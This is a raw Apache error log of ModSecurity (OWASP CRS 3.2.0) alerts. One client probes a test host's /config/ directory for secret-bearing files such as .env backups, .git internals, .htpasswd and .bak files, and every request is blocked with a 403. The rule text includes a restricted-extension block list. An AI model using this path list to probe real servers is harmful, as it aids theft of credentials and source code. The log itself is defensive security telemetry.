[Sun Jun 29 20:19:23.413835 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-QAAAAE&quot;]
[Sun Jun 29 20:19:23.414027 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-QAAAAE&quot;]
[Sun Jun 29 20:19:23.436138 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env~&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-gAAAAE&quot;]
[Sun Jun 29 20:19:23.436374 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env~&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-gAAAAE&quot;]
[Sun Jun 29 20:19:23.436558 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env~&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-gAAAAE&quot;]
[Sun Jun 29 20:19:23.458631 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-wAAAAE&quot;]
[Sun Jun 29 20:19:23.458915 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-wAAAAE&quot;]
[Sun Jun 29 20:19:23.459127 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-wAAAAE&quot;]
[Sun Jun 29 20:19:27.923331 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/HEAD&quot;] [unique_id &quot;aGGDr3tTxOj9v32ojom5_AAAAAE&quot;]
[Sun Jun 29 20:19:27.923578 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/HEAD&quot;] [unique_id &quot;aGGDr3tTxOj9v32ojom5_AAAAAE&quot;]
[Sun Jun 29 20:19:27.923824 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/HEAD&quot;] [unique_id &quot;aGGDr3tTxOj9v32ojom5_AAAAAE&quot;]
[Sun Jun 29 20:19:27.945628 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;aGGDr3tTxOj9v32ojom5_QAAAAE&quot;]
[Sun Jun 29 20:19:27.945873 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;aGGDr3tTxOj9v32ojom5_QAAAAE&quot;]
[Sun Jun 29 20:19:27.946062 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;aGGDr3tTxOj9v32ojom5_QAAAAE&quot;]
[Sun Jun 29 20:19:27.968303 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/logs/HEAD&quot;] [unique_id &quot;aGGDr3tTxOj9v32ojom5_gAAAAE&quot;]
[Sun Jun 29 20:19:27.968551 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/logs/HEAD&quot;] [unique_id &quot;aGGDr3tTxOj9v32ojom5_gAAAAE&quot;]
[Sun Jun 29 20:19:27.968745 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/logs/HEAD&quot;] [unique_id &quot;aGGDr3tTxOj9v32ojom5_gAAAAE&quot;]
[Sun Jun 29 20:19:27.990827 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /config/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.gitignore&quot;] [unique_id &quot;aGGDr3tTxOj9v32ojom5_wAAAAE&quot;]
[Sun Jun 29 20:19:27.991087 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.gitignore&quot;] [unique_id &quot;aGGDr3tTxOj9v32ojom5_wAAAAE&quot;]
[Sun Jun 29 20:19:27.991278 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.gitignore&quot;] [unique_id &quot;aGGDr3tTxOj9v32ojom5_wAAAAE&quot;]
[Sun Jun 29 20:19:28.013245 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.htaccess&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .htaccess found within REQUEST_FILENAME: /config/.htaccess&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htaccess&quot;] [unique_id &quot;aGGDsHtTxOj9v32ojom6AAAAAAE&quot;]
[Sun Jun 29 20:19:28.013489 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htaccess&quot;] [unique_id &quot;aGGDsHtTxOj9v32ojom6AAAAAAE&quot;]
[Sun Jun 29 20:19:28.013674 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htaccess&quot;] [unique_id &quot;aGGDsHtTxOj9v32ojom6AAAAAAE&quot;]
[Sun Jun 29 20:19:28.035620 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.htpasswd&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .htpasswd found within REQUEST_FILENAME: /config/.htpasswd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htpasswd&quot;] [unique_id &quot;aGGDsHtTxOj9v32ojom6AQAAAAE&quot;]
[Sun Jun 29 20:19:28.035867 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htpasswd&quot;] [unique_id &quot;aGGDsHtTxOj9v32ojom6AQAAAAE&quot;]
[Sun Jun 29 20:19:28.036046 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htpasswd&quot;] [unique_id &quot;aGGDsHtTxOj9v32ojom6AQAAAAE&quot;]
[Sun Jun 29 20:19:28.058518 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/access.log&quot;] [unique_id &quot;aGGDsHtTxOj9v32ojom6AgAAAAE&quot;]
[Sun Jun 29 20:19:28.058892 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/access.log&quot;] [unique_id &quot;aGGDsHtTxOj9v32ojom6AgAAAAE&quot;]
[Sun Jun 29 20:19:28.059081 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/access.log&quot;] [unique_id &quot;aGGDsHtTxOj9v32ojom6AgAAAAE&quot;]
[Sun Jun 29 20:19:28.103970 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/app.js.bak&quot;] [unique_id &quot;aGGDsHtTxOj9v32ojom6BAAAAAE&quot;]
[Sun Jun 29 20:19:28.104316 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/app.js.bak&quot;] [unique_id &quot;aGGDsHtTxOj9v32ojom6BAAAAAE&quot;]
[Sun Jun 29 20:19:28.104503 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/app.js.bak&quot;] [unique_id &quot;aGGDsHtTxOj9v32ojom6BAAAAAE&quot;]
